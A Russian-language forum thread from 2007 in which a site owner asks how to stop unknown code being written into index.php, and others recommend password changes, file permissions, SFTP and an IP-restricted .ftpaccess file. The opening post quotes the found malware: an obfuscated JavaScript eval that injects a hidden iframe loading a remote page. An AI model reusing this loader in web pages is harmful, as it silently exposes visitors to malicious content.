Защита файла index.php

[Guru_ua 0]

Есть ли возможность как-то защитить файл index.php от прописания кода незнаю кем...

Вот последний код, который обнаружил:

<script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%64%31%61%36%65%34%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%61%6c%6c%74%72%61%66%66%2e%72%75%2f%6c%6f%6c%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%35%32%39%39%32%29%2b%27%62%33%65%33%62%65%64%31%37%63%34%5c%27%20%77%69%64%74%68%3d%31%34%34%20%68%65%69%67%68%74%3d%33%36%38%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script>

И так частенько....

Вот наверно об этом - http://www.viruslist.com/ru/weblog?calendar=2007-02

Что делать?

[kosen 3]

меняй пароли доступа к админке, фтп, смотри ЧМОД на файлы...

ЗЫ

Не в тот раздел ты тему запостил

ИМХО

[Shinji 0]

а еще напиши хостеру с подозрением на то что его сломали и пусть проверят себя....

[WMDrakon 20]

Не в тот раздел ты тему запостил

ИМХО

тут думаю без ИМХО.

тут и так всем понятно, кроме топикстартера))))

[Zergio 0]

100% когда крякал себе ftp-клиент, кряк был с кодом на отсылку паролей.

У меня такое было пока не поменял ftp-клиент.

[Danila 8]

а еще напиши хостеру с подозрением на то что его сломали и пусть проверят себя....

Крайне маловероятно. Лучше CHMOD 444 сделать на index.php и на main.php (мне и туда прописывали). А еще лучше, если статический IP прописать его в .ftpaccess и не пользоваться FTP клиентами, а пользоваться SFTP клиентами (типа coreftp), там пароли хоть шифруются.

[Guru_ua 0]

А еще лучше, если статический IP прописать его в .ftpaccess

Про это можно подробнее буду очень благодарен.... Спасибо...

Изменено 23 ноября 2007 пользователем Alexandr

[Danila 8]

в корне сайта создаете файл .ftpaccess туда кидаете следующее:

<Limit ALL>

Order allow,deny

Allow from 127.0.0.1

Allow from ххх.ххх.ххх.ххх

Deny from All

</Limit>

Где вместо ххх.ххх.ххх.ххх вставляете свой внешний IP адрес. Но делать это можно если IP статический (никогда не меняется). Если он у вас поменяется, то на ФТП вы уже не зайдете